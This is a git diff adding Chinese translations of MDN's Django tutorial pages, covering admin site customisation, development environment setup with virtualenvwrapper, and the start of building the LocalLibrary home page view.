从该列表中,您可以通过选中不需要的图书旁边的复选框来删除图书,从“ 操作”下拉列表中选择“ 删除”操作  ,然后按Go按钮。您也可以通过按下ADD BOOK按钮添加新书。

+ +

您可以通过在链接中选择其名称来编辑书籍。一本书的编辑页面如下所示,与“添加”页面几乎相同。主要的区别是页面标题(更改书)和添加  删除,历史和VIEW ON SITE按钮(最后一个按钮出现,因为我们定义了get_absolute_url()我们的模型中的  方法)。

+ +

Admin Site - Book Edit

+ +

现在回到主页(使用主页链接的导航痕迹),然后查看作者  和类型  列表 - 您应该已经有很多创建从添加新书,但可以自由添加一些更多。

+ +

你不会有任何书籍实例,因为这些不是从图书创建的(虽然你可以从 BookInstance - 创建一个书  - 这是ForeignKey字段的性质)。返回主页,然后按关联的添加按钮显示下面的添加书实例屏幕。请注意,全球唯一的ID,可用于单独标识库中单书的副本。

+ +

Admin Site - BookInstance Add

+ +

为你的书创建一些记录。将状态设置为可用于至少一些记录,并为其他记录贷款。如果状态 不可 用,则还设置未来到期日期。

+ +

而已!您现在已经学会了如何 设置和使用管理站点。您还创建书的记录,BookInstance,Genre,和Author 我们就可以一次我们创造我们自己的观点和模板使用。

+ +

高级配置

+ +

Django 使用注册模型的信息为创建基本管理站点做了非常好的工作:

+ + + +

你可以进一步自定义界面,使它更容易使用,你可以改进的一些想法:

+ + + +

在本节中,我们将看一些改进本地图书馆界面的更改,其中包括添加更多信息Book和Author 模型列表,以及改进编辑视图的布局。我们不会改变 Language 和 Genre 模拟演示,因为它们只有一个字段,所以这样没有真正的好处。

+ +

你可以 在The Django Admin site 中找到所以管理员网站自定义选项的完整参考。

+ +

注册 一个 ModelAdmin 类

+ +

在管理界面去改变一个模型的展示方式,当你定义了 ModelAdmin 类(描述布局)和将其注册到模型中。

+ +

让我们开始作者模型。打开 admin.py 在目录应用程序(/locallibrary/catalog/admin.py)。注释你的原始注册(前缀为#)在 Author 模型

+ +
# admin.site.register(Author)
+ +

现在添加一个 AuthorAdmin 和注册,如下

+ +
# Define the admin class
+class AuthorAdmin(admin.ModelAdmin):
+    pass
+
+# Register the admin class with the associated model
+admin.site.register(Author, AuthorAdmin)
+
+ +

我们再为Book 添加 ModelAdmin 类 和 BookInstance 类。我们需要注释我们原始注册:

+ +
#admin.site.register(Book)
+#admin.site.register(BookInstance)
+ +

现在创建和注册新的模型;为了演示的目的,我们将使用@register 装饰器来注册模型(这和 admin.site.register() 语法作用一样)。

+ +
# Register the Admin classes for Book using the decorator
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    pass
+
+# Register the Admin classes for BookInstance using the decorator
+
+@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    pass
+
+ +

可以看到我们现在 的 类都是空的 (“pass”),所以管理操作并不会改变,我们现在对这些类进行扩展,以定义我们针对模型的管理行为。

+ +

配置列表视图

+ +

该 本地图书馆 目前列出的所以作者都使用从模型生成的对象名称的__str__() 方法。如果只是几个作者,这无关紧要。但一旦你有许多作者,这可能会重复。要区分它们,或仅仅因为你想要显示有关每个作者的更多有趣的信息,你可以使用list_display 向视图添加其他字段。

+ +

用下面的代码替代 你 AuthorAdmin 的类。在元组中声明要显示列表中的字段名称以所需的顺序排列,如图(这些和原始模型中指定的名称相同)。

+ +
class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+
+ +

重新启动站点并导航到作者列表。现在应该显示上述字段,如下所示:

+ +

Admin Site - Improved Author List

+ +

对于我们的Book模型,我们将另外显示authorgenre。这author是一个ForeignKey字段(一对多)的关系,所以将由__str()__相关记录的值表示。用BookAdmin下面的版本替换课程。

+ +
class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+
+ +

不幸的是,我们不能直接指定 list_display 中的 genre 字段, 因为它是一个ManyToManyField (Django可以防止这种情况,因为在这样做时会有大量的数据库访问“成本”)。相反,我们将定义一个 display_genre 函数来获取信息作为一个字符串(这是我们上面调用的函数;下面我们将定义它)。

+ +
+

注意:在genre这里获取可能不是一个好主意,因为数据库操作的“成本”。我们向您展示了如何在模型中调用函数的其他原因非常有用 - 例如在列表中的每个项目旁边添加一个“ 删除”链接。

+
+ +

将以下代码添加到Book模型(models.py)中。这将从 genre字段的前三个值(如果存在)创建一个字符串,并创建一个short_description可以在此方法的管理站点中使用的字符串。

+ +
    def display_genre(self):
+        """
+        Creates a string for the Genre. This is required to display genre in Admin.
+        """
+        return ', '.join([ genre.name for genre in self.genre.all()[:3] ])
+    display_genre.short_description = 'Genre'
+
+ +

保存模型并更新管理员后,重新启动站点并转到图书列表页面; 你应该看到像下面这样的书籍清单:

+ +

Admin Site - Improved Book List

+ +

该Genre模型(和Language模式,如果你定义一个)都有一个单一的领域,所以没有一点为他们创造更多的显示领域的附加模型。

+ +
+

注意:值得更新BookInstance模型列表,至少显示状态和预期的返回日期。我们已经补充说,作为本文末尾的挑战!

+
+ +

添加列表过滤器

+ +

一旦列表中有很多项目,就可以过滤哪些项目被显示出来。这是通过在list_filter属性中列出字段来完成的。用BookInstanceAdmin下面的代码片段替换你当前的  类。

+ +
class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+ +

列表视图现在将在右侧包含一个过滤器框。请注意如何选择日期和状态来过滤值:

+ +

Admin Site - BookInstance List Filters

+ +

整理细节视图布局

+ +

默认情况下,详细视图按照其在模型中声明的顺序垂直排列所有字段。您可以更改声明的顺序,哪些字段显示(或排除),区段是否用于组织信息,字段是水平还是垂直显示,甚至是管理窗体中使用的编辑窗口小部件。

+ +
+

注意:LocalLibrary模型比较简单,因此我们不需要更改布局; 不管怎样,我们会做一些改变,只是为了向你展示如何。

+
+ +

控制哪些字段被显示和布局

+ +

更新您的  AuthorAdmin 类以添加fields行,如下所示(粗体):

+ +
class AuthorAdmin(admin.ModelAdmin):
+    list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
+    fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]
+
+ +

fields 属性列表只是要显示在表格上那些领域,如此才能。字段默认情况下垂直显示,但如果您进一步将它们分组在元组中(如上述“日期”字段中所示),则会水平显示。

+ +

重新启动您的应用程序并转到作者详细信息视图 - 现在应该如下所示:

+ +

Admin Site - Improved Author Detail

+ +
+

注意:您还可以使用exclude属性来声明要从表单中排除的属性列表(将显示模型中的所有其他属性)。

+
+ +

剖切细节视图

+ +

你可以使用 fieldsets 属性添加“部分”以在详细信息表单中对相关的模型信息进行分组。

+ +

在  BookInstance模型中,我们有相关的书是什么(即信息  name,imprint和id),并且当将可用(status,due_back)。我们可以通过将粗体文本添加到我们的BookInstanceAdmin类中来将其添加到不同的部分  。

+ +
@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book','imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back')
+        }),
+    )
+ +

每个部分都有自己的标题(或者None如果你不想要一个标题)和字典中的一个相关的元组 - 描述的格式很复杂,但是如果你看上面的代码片段,那么它们很容易理解。

+ +

重新启动并导航到书籍实例视图; 表格应如下所示:

+ +

Admin Site - Improved BookInstance Detail with sections

+ +

关联记录的内联编辑

+ +

有时,可以同时添加关联记录是有意义的。例如,将书籍信息和有关您在同一详细信息页面上的特定副本的信息同时显示可能是有意义的。

+ +

你可以通过声明 inlines, 类型 TabularInline (水平布局 ) or StackedInline (垂直布局 ,就像默认布局)这样做. 您可以通过在您的以下的粗体中添加以下行,将内容中的BookInstance信息添加到我们的Book详细信息中BookAdmin

+ +
class BooksInstanceInline(admin.TabularInline):
+    model = BookInstance
+
+@admin.register(Book)
+class BookAdmin(admin.ModelAdmin):
+    list_display = ('title', 'author', 'display_genre')
+    inlines = [BooksInstanceInline]
+
+ +

尝试重新启动您的应用程序,然后查看图书的视图 - 在底部您应该看到与本书相关的图书实例:

+ +

Admin Site - Book with Inlines

+ +

在这种情况下,我们所做的就是声明我们的tablular内联类,它只是从内联模型添加所有字段。您可以为布局指定各种附加信息,包括要显示的字段,其顺序,是否只读等。(有关详细信息,请参阅  TabularInline ). 

+ +
+

注意:这个功能有一些痛苦的限制!在上面的屏幕截图中,我们有三个现有的书籍实例,其次是新的书籍实例的三个占位符(看起来非常相似!)。默认情况下没有备用书实例会更好,只需使用“ 添加另一个书”实例链接添加它们,或者可以BookInstance从这里列出作为不可读的链接。第一个选项可以通过extraBookInstanceInline模型中将属性设置为0 来完成,自己尝试一下。

+
+ +

挑战自己

+ +

我们在本节学到了很多东西,所以现在是时候尝试一些事情了。

+ +

1. 对于  BookInstance列表视图,添加代码以显示书籍,状态,到期日期和ID(而不是默认__str__()文本)。
+ 2. 添加的在线上市Book项目的Author使用,因为我们做了同样的做法详细视图Book/ BookInstance。

+ +

概要

+ +

而已!您现在已经了解了如何以最简单和改进的形式设置管理站点,如何创建超级用户以及如何导航管理站点以及查看,删除和更新记录。一路上,您创建了一堆书籍,BookInstances,流派和作者,一旦我们创建了自己的视图和模板,我们就可以列出和展示。

+ + + +

进阶阅读

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}

diff --git a/files/zh-cn/learn/server-side/django/development_environment/index.html b/files/zh-cn/learn/server-side/django/development_environment/index.html new file mode 100644 index 0000000000..fb6041621f --- /dev/null +++ b/files/zh-cn/learn/server-side/django/development_environment/index.html @@ -0,0 +1,406 @@ +--- +title: 设置Django开发环境 +slug: learn/Server-side/Django/开发环境 +tags: + - Python + - django +translation_of: Learn/Server-side/Django/development_environment +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}
+ +

现在,你知道什么是Django。
+ 那么我们将向你展示如何在Windows,Linux(Ubuntu)和 Mac OSX上设置和测试Django开发环境—无论你常用哪种操作系统,本文能给你开发Django应用所需的一切。

+ + + + + + + + + + + + +
先决条件:知道如何在你开发所用的计算机操作系统中,打开终端/命令行和安装软件包。
目的:在你的计算机中运行Django(1.10)开发环境。
+ +

Django 开发环境概述

+ +

Django 使你可以轻松配置自己的电脑,以便开始开发网络应用。本节解释您可以从开发环境中获得什么,并提供一些设置和配置选项的概述。本文的其余部分介绍了在UbuntuMac OSX和Windows上安装Django开发环境的 推荐方法,以及如何测试。

+ +

什么是Django开发环境?

+ +

开发环境是本地计算机上的Django安装,在将Django应用程序部署到生产环境之前,您可以使用它来开发和测试Django应用程序。

+ +

Django 本身提供的主要工具是一组用于创建和使用Django项目的Python脚本,以及可在你电脑的web 浏览器中测试本地Django web应用(在你的计算机,而不是在外部的web 服务器)。

+ +

还有其他外部工具, 它们构成了开发环境的一部分, 我们将不再赘述。这些包括 文本编辑器 或编辑代码的IDE,以及像 Git 这样的源代码控制管理工具,用于安全地管理不同版本的代码。我们假设你已经安装了一个文本编辑器。

+ +

什么是Django设置选项?

+ +

Django 在安装和配置方面非常灵活。Django可以:

+ + + +

每个选项都需要略微不同的配置和设置。以下小节解释了你的一些选择。在本文的其余部分中,我们将介绍Django在几个操作系统上的设置,并且在本教程的剩余模块中将假设你已进行该设置。

+ +
+

注意: 其他可能的安装选项在官方Django文档中介绍。相应文件 点击这里.

+
+ +

支持哪些操作系统?

+ +

Django web应用程序能运行在几乎任何可以运行Python3的计算机上:Windows,Mac OSX,Linux/Unix,Solaris,仅举几例。几乎任何计算机都具备在开发期间运行Django所需的性能。

+ +

在本文中。我们将提供Windows,macOS 和Linux/Unix的说明。

+ +

你应该使用什么版本的Python?

+ +

我们建议你使用最近发行的版本,在本文档写作的时候是Python 3.8.2。

+ +

事实上,Python 3.5 以及更新的版本都可以用来开发,不过对Python 3.5的支持可能会在未来的版本更新中被移除。

+ +

我们建议你使用最新版本的Python 3,除非该站点依赖于仅适用于Python 2 的第三方库。本文将介绍如何为Python 3安装环境(Python 2 的等效设置将非常相似)。

+ + + +
+

注意: Python 2.7 无法用于当前的 Django 发行版本(Django 1.11.x 系列是最后支持 Python 2.7 的版本)。

+
+ +

我们在哪里下载Django?

+ +

有三个地方可以下载Django:

+ + + +

本文介绍如何从PyPi安装Django的最新稳定版本。

+ +

哪个数据库?

+ +

Django支持四个主要数据库(PostgreSQL,MySQL,Oracle和SQLite),还有一些社区库可以为其他流行的SQL和NOSQL数据库提供不同级别的支持。我们建议你为生产和开发选择相同的数据库(尽管Django使用其对象关系映射器(ORM)抽象了许多数据库之间的差异,但是仍然存在本可以避免的潜在问题 ).

+ +

对于本文(和本模块的大部分),我们将使用将数据存储在文件中的SQLite数据库。SQLite旨在用作轻量级数据库,不能支持高并发。然而,这确实是只读的应用程序的绝佳选择。

+ +
+

注意:当你使用标准工具(django-admin)启动你的网站项目时,Django将默认使用SQLite。用来入门时,这是一个很好的选择,因为它不需要额外的配置和设置。

+
+ +

安装本机系统还是Python虚拟环境中?

+ +

当你安装Python3时,将获得一个由所有Python3代码共享的全局环境。虽然你可以在该环境中安装任何你喜欢的Python包,但是每次只能安装每个包的一个特定版本。

+ +
+

注意:安装到全局环境的Python应用程序可能会相互冲突(例如如果它们依赖于同一包的不同版本)。

+
+ +

如果你把Django安装到默认/全局环境中,那么在该计算机上将只能定位到Django的一个版本。如果你想创建新的网站(使用最新版本的Django),同时仍然维护依赖旧版本的网站,这可能是个问题。

+ +

因此,经验丰富的Python/Django开发人员通常在独立Python虚拟环境中运行Python应用程序。这样就可以在一台计算机上实现多个不同的Django环境。Django开发团队同样建议你使用Python虚拟环境。

+ +

本模块假设已经将Django安装到虚拟环境中,下面我们会演示如何进行。

+ +

安装 Python 3

+ +

为了使用Django,你需要在你的操作系统中安装Python。如果你使用Python3,那么你同样需要Python 包管理工具  — pip3 — 用来管理 (安装,更新和删除)被Django和其他Python应用程序使用的Python软件包/库。

+ +

本节简要介绍了如何检查有哪些版本的Python,并根据需要安装适用于 Ubuntu Linux 16.04,macOS, and Windows 10的新版本。

+ +
+

注意: 根据你的平台, 您还可以从操作系统自己的软件包管理器或其他机制安装Python / pip。对于大多数平台,您可以从https://www.python.org/downloads/下载所需的安装文件,并使用该平台特定的方法进行安装。

+
+ +

Ubuntu 18.04

+ +

Ubuntu Linux 18.04 LTS默认包含Python 3.6.6。你可以通过在Bash终端中运行以下命令来确认这一点:

+ +
python3 -V
+ Python 3.6.6
+ +

然而,在默认情况下,为Python 3(包括Django)安装软件包的Python包管理工具不可用。你可以在bash终端中使用以下命令安装pip3

+ +
sudo apt-get install python3-pip
+
+ +

macOS

+ +

macOS 的"El Capitan" 及其他最新版本不包含Python 3。你可以通过在bash终端中运行一下命令来确认:

+ +
python3 -V
+ -bash: python3: command not found
+ +

你可以轻松地从 python.org安装Python 3(以及pip3工具):

+ +
    +
  1. 下载所需的安装程序: +
      +
    1. 点击 https://www.python.org/downloads/
    2. +
    3. 选择 Download Python 3.8.2  (具体的版本号可能不同)。
    4. +
    +
  2. +
  3. 使用Finder找到安装包,然后双击运行,并按照提示进行安装。
  4. +
+ +

之后可以通过检查Python3版本确认是否安装成功,如下所示:

+ +
python3 -V
+Python 3.8.2
+ +

你也可以通过列出可用的包来检查pip3是否安装了:

+ +
pip3 list
+ +

Windows 10

+ +

windows默认不包含Python, 但你可以从 python.org轻松地安装它(以及pip3工具):

+ +
    +
  1. 下载所需版本: +
      +
    1. 点击 https://www.python.org/downloads/
    2. +
    3. 选择 Download Python 3.8.2  (具体的版本号可能不同)。
    4. +
    +
  2. +
  3. 双击现在的文件并按照提示安装Python。
  4. +
  5. 确保勾选了"Add Python to PATH"选项。
  6. +
+ +

你可以在命令提示符中输入以下内容来验证是否安装了Python:

+ +
python -V
+ Python 3.8.2
+
+ +

Windows安装程序默认包含pip3 (Python包管理器)。同样在命令提示符中输入以下内容来列出已安装的包:

+ +
pip3 list
+
+ +
+

注意:安装包应该已把运行上述命令所需的一切设置完成。但如果你得到的消息是找不到Python,那么你可能忘记将Python添加到系统路径中了。你可以通过再次运行安装包,选择"Modify",并在下一页面中勾选 "Add Python to environment variables"来修复这个问题。

+
+ +

在Python虚拟环境中使用Django

+ +

我们使用virtualenvwrapper(Linux及macOS)和 virtualenvwrapper-win(WIndows)来创建Python虚拟环境,而它们又使用了virtualenv。封装工具创建了一个一致的接口来管理各个平台上的接口。

+ +

安装虚拟环境软件

+ +

Ubuntu虚拟环境设置

+ +

安装了Python和pip之后,你就可以安装virtualenvwrapper(包括了virtualenv)。可以在这里找到正式的安装指南,或按照以下指导操作。

+ +

使用pip3安装该工具:​​​​​​

+ +
sudo pip3 install virtualenvwrapper
+ +

然后将以下代码行添加到shell启动文件的末尾(这是主目录中的一个隐藏文件,名字是.bashrc)。这些文件设置了虚拟环境应该存在的位置、开发项目目录的位置以及与这个包一起安装的脚本的位置。

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 '
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh
+ +
+

注意:VIRTUALENVWRAPPER_PYTHON 和 VIRTUALENVWRAPPER_VIRTUALENV_ARGS变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh指向virtualenvwrapper.sh脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。

+ +

你可以使用which virtualenvwrapper.sh 和 which python3命令为你的系统找到正确的安装位置。

+
+ +

然后通过在终端中运行以下命令重载启动文件:

+ +
source ~/.bashrc
+ +

此时,你应该能看到一些脚本正在运行,如下所示:

+ +
virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details
+ +

然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

+ +

macOS 虚拟环境设置

+ +

在macOS上设置virtualenvwrapper 几乎和在Ubuntu上是一样的(你同样可以按照以下指导操作,或在这里找到正式的安装指南)。

+ +

使用pip安装virtualenvwrapper(并绑定virtualenv),如下所示。

+ +
sudo pip3 install virtualenvwrapper
+ +

然后将以下代码行添加到shell启动文件的末尾:

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh
+ +
+

注意:VIRTUALENVWRAPPER_PYTHON 和 VIRTUALENVWRAPPER_VIRTUALENV_ARGS变量指向Python3的常规安装位置,source /usr/local/bin/virtualenvwrapper.sh指向virtualenvwrapper.sh脚本的一般安装位置。 如果您在测试时发现virtualenv无法正常工作,则要检查的一件事是Python和该脚本是否在预期的位置(然后适当更改启动文件)。

+ +

例如,在macOS上的一个安装测试中,启动文件中必须有以下几行代码:

+ +
export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh
+ +

你可以使用which virtualenvwrapper.sh 和 which python3命令为你的系统找到正确的安装位置。

+
+ +

此处使用和Ubuntu相同的代码行,但是启动文件是主目录中叫做.bash_profile的隐藏文件。

+ +
+

注意:如果找不到.bash_profile进行编辑,也可以使用nano在终端中打开它,命令看起来类似于:

+ +
cd ~  # Navigate to my home directory
+ls -la #List the content of the directory. YOu should see .bash_profile
+nano .bash_profile # Open the file in the nano text editor, within the terminal
+# Scroll to the end of the file, and copy in the lines above
+# Use Ctrl+X to exit nano, Choose Y to save the file.
+
+ +

然后通过在终端中运行以下命令重载启动文件:

+ +
source ~/.bashrc
+ +

此时,你应该能看到一些脚本正在运行(和Ubuntu中同样的脚本)。然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

+ +

Windows 10 虚拟环境设置

+ +

安装 virtualenvwrapper-win 甚至比设置virtualenvwrapper 更简单,因为你无需配置工具用来存储虚拟环境信息的位置(有一个默认值)。你需要做的只是在命令提示符中运行以下命令:

+ +
pip3 install virtualenvwrapper-win
+ +

然后你就可以使用 mkvirtualenv命令创建一个新的虚拟环境。

+ +

创建虚拟环境

+ +

一旦你成功安装了virtualenvwrapper 或 virtualenvwrapper-win,那么在所有平台中使用虚拟环境的方法是非常相似的。

+ +

现在你可以使用 mkvirtualenv命令创建一个新的虚拟环境。在运行此命令时,你将看到正在设置的环境(你所看到的只略微与平台相关)。命令完成后,新的虚拟环境将被激活——你能看到提示符的开头就是括号中的环境名称(以下我们展示的是Ubuntu的,但是在Windows/macOS上,末行时相似的|)

+ +
$ mkvirtualenv my_django_environment
+
+Running virtualenv with interpreter /usr/bin/python3
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
+(my_django_environment) ubuntu@ubuntu:~$
+ +

现在你已进入虚拟环境,可以进行Django安装并开始开发。

+ +
+

注意:从现在开始,在本文(实际上是该模块)中,请假定所有命令都在类似于我们上面设置的Python虚拟环境中运行。

+
+ +

使用一个虚拟环境

+ +

您应该知道一些其他有用的命令(在工具的文档中还有更多,但这些是您将经常使用的命令):

+ + + +
+ +

安装Django

+ +

一旦你创建了一个虚拟环境,并且使用workon 进入了它,就可以使用pip3来安装Django。

+ +
pip3 install django
+ +

您可以通过运行以下命令来测试Django是否安装(这只是用来测试Python是否可以找到Django模块):

+ +
# Linux/macOS
+python3 -m django --version
+ 1.10.10
+
+# Windows
+py -3 -m django --version
+ 1.10.10
+
+ +
+

注意如果上面的Windows命令没有显示django模块,请尝试:

+ +
py -m django --version
+ +

在Windows中,Python 3脚本是通过在命令前面加上py -3来启动的,尽管该脚本可能会因您的特定安装而有所不同。 如果遇到命令问题,请尝试省略-3修饰符。 在Linux /macOS中,命令是python3。

+
+ +
+

重要提示:本模块的其余部分使用Linux命令来调用Python 3(python3)。如果您在Windows上工作,只需将此前缀替换为: py -3

+
+ +

测试你的安装

+ +

上面的测试工作并不是很有趣。一个更有趣的测试是创建一个框架项目并查看它的工作情况。要做到这一点,先在你的命令提示符/终端导航到你想存储你Django应用程序的位置。为您的测试站点创建一个文件夹并进入其中。

+ +
mkdir django_test
+cd django_test
+
+ +

然后,您可以像所展示的一样使用django-admin工具创建一个名为“ mytestsite ” 的新框架站点。创建网站后,您可以CD到此文件夹,并将在其中找到管理项目的主要脚本,名为manage.py

+ +
django-admin startproject mytestsite
+cd mytestsite
+ +

我们可以在这个文件夹中使用manager.pyrunserver命令运行开发web服务器,如下所示。

+ +
$ python3 manage.py runserver
+Performing system checks...
+
+System check identified no issues (0 silenced).
+
+You have 15 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
+Run 'python manage.py migrate' to apply them.
+
+December 16, 2018 - 07:06:30
+Django version 2.2.12, using settings 'mytestsite.settings'
+Starting development server at http://127.0.0.1:8000/
+Quit the server with CONTROL-C.
+ +
+

注意:上面的命令显示了Linux /macOS命令。您可以忽略关于“15 unapplied migration(s)”的警告!

+
+ +

一旦服务器运行,您可以通过本地Web浏览器打开http://127.0.0.1:8000/来查看该站点。你应该看到一个如下所示的网站:

+ +

The home page of the skeleton Django app.

+ + + +

概要

+ +

现在,你的计算机中已经启动并运行了一个Django开发环境。

+ +

在测试部分,您还简要地了解了如何使用django -admin startproject创建一个新的Django网站,并使用开发web服务器(python3 manager .py runserver)在浏览器中运行它。在下一篇文章中,我们将对此过程进行扩展,构建一个简单但完整的web应用程序。

+ +

看看瞧瞧

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}

diff --git a/files/zh-cn/learn/server-side/django/home_page/index.html b/files/zh-cn/learn/server-side/django/home_page/index.html new file mode 100644 index 0000000000..0527ba8731 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/home_page/index.html @@ -0,0 +1,358 @@ +--- +title: 'Django Tutorial Part 5: 主页构建' +slug: learn/Server-side/Django/主页构建 +translation_of: Learn/Server-side/Django/Home_page +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}
+ +

  我们现在可以添加代码来显示我们的第一个完整页面 -  LocalLibrary 网站的主页,显示每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模板的实践经验。

+ + + + + + + + + + + + +
前提:读 the Django Introduction. 完成上章节 (including Django Tutorial Part 4: Django admin site).
目的:了解如何创建简单的URL映射和视图(没有数据编码在URL中)以及如何从模型中获取数据并创建模版。
+ +

概要

+ +

现在我们已经定义了我们的模型,并创建了一些初始库记录来处理,现在是编写代码以向用户呈现该信息的时候了。我们需要做的第一件事是确定我们希望能够在我们的页面中显示哪些信息,然后为返回这些资源定义适当的URL。那么我们将需要创建一个url映射器,视图和模板来显示这些页面。

+ +

以下图表提供了处理HTTP请求/响应时需要实现的数据和事情的主要流程。我们已经创建了这个模型,我们需要创建的主要内容是:

+ + + +

+ +

正如你将在下一节中看到的,我们将要显示5个页面,这在一篇文章中是很重要的。因此,本文的大部分内容将重点介绍如何实现主页(我们将在随后的文章中介绍其他页面)。这应该让您对URL映射器,视图和模型在实践中如何工作有一个很好的端到端的了解。

+ +

定义资源URL

+ +

由于本版本的LocalLibrary对于最终用户本质上是只读的,所以我们只需要为该网站(主页)提供一个着陆页,以及显示书籍和作者的列表和详细视图的页面。

+ +

下面这些URL 是我们页面需要的:

+ + + +

前三个URL用于列出索引,书籍和作者。这些不会对任何附加信息进行编码,而返回的结果将取决于数据库中的内容,运行获取信息的查询将始终保持一致。

+ +

相比之下,最后两个URL用于显示有关特定书籍或作者的详细信息 - 这些URL将编码要显示在URL中的项目的标识(如上所示<id>)。URL映射器可以提取编码信息并将其传递给视图,然后将动态地确定从数据库获取哪些信息。通过对我们的URL中的信息进行编码,我们只需要一个URL映射,视图和模板来处理每本书(或作者)。

+ +
+

注意:Django允许您以任何您喜欢的方式构建您的URL - 您可以如上所示编码URL正文中的信息,或使用URL GET参数(例如  /book/?id=6)。无论您使用哪种方法,URL都应保持清洁,逻辑和可读性 (check out the W3C advice here).
+
+ Django文档倾向于在URL的主体中推荐编码信息,这是他们觉得鼓励更好的URL设计的实践。

+
+ +

如概述,本文其余部分介绍如何构建索引页

+ +

创建索引页

+ +

我们创建的第一个页面将会是索引页(catalog/)。这会显示一些静态HTML,以及数据库中不同记录的一些计算的“计数“。为了使其工作,我们必须创建一个URL映射,视图和模版。

+ +
+

注意: 本节应该特别注意。一些”材料“在所有页面都通用。

+
+ +

URL 映射

+ +

在我们创建的基础网站上,更新 /locallibrary/urls.py 文件。以确保每当收到以catalog/开头的URL时,URLConf模块中的catalog.urls 会处理剩余的字符串。

+ +

打开 catalog/urls.py ,复制下面代码

+ +
urlpatterns = [
+    path('', views.index, name='index'),
+]
+ +

如果检测到URL模式'',(views.index——在view.py中函数命名index() )将被调用。URL模式是Python 正则表达式 (RE)。我们将在本教程中进一步介绍RE。

+ +
+

注意: 在  /locallibrary/locallibrary/urls.py 

+ +
urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+ +

每当Django 使用 include() (django.conf.urls.include()),它排除与该点 匹配URL的任何部分,并将剩余的字符串发送到随附的 URLconf 进行一步处理。

+ +

匹配的URL 实际上是 catalog/+<空字符串> (/catalog/ 假定是因为 include()是使用的方法)。如果我们收到一个URL的HTTP请求,我们的第一个视图函数将被调用/catalog/。

+
+ +

此函数还说明了一个name参数,此唯一标识指定 URL 映射。你可以使用 "reverse" 映射—去动态创建指定映射设计处理的资源的一个URL。例如,我们现在可以通过在我们的模版中创建以下链接到我们的主页:

+ +
<a href="{% url 'index' %}">Home</a>.
+ +
+

注意: 我们当然可以硬编码上面的链接(如:<a href="/catalog/">Home</a>),但是如果我们改变了主页的模式,模版将不再正确链接,使用反向网址映射会更灵活和强大。

+
+ +

View (基于功能)

+ +

视图是处理HTTP请求的功能,根据需要从数据库获取数据,通过使用HTML模板呈现此数据生成HTML页面,然后以HTTP响应返回HTML以显示给用户。索引视图遵循此模型 - 它提取有关数据库中有多少BookBookInstance 可用 BookInstance Author 记录的信息,并将其传递给模板以进行显示。

+ +

打开catalog / views.py,并注意该文件已经导入了 使用模板和数据生成HTML文件的 render() 快捷方式函数。

+ +
from django.shortcuts import render
+
+# Create your views here.
+
+ +

复制文件底部的以下代码。第一行导入我们将用于访问所有视图中数据的模型类。

+ +
from .models import Book, Author, BookInstance, Genre
+
+def index(request):
+    """
+    View function for home page of site.
+    """
+    # Generate counts of some of the main objects
+    num_books=Book.objects.all().count()
+    num_instances=BookInstance.objects.all().count()
+    # Available books (status = 'a')
+    num_instances_available=BookInstance.objects.filter(status__exact='a').count()
+    num_authors=Author.objects.count()  # The 'all()' is implied by default.
+
+    # Render the HTML template index.html with the data in the context variable
+    return render(
+        request,
+        'index.html',
+        context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors},
+    )
+ +

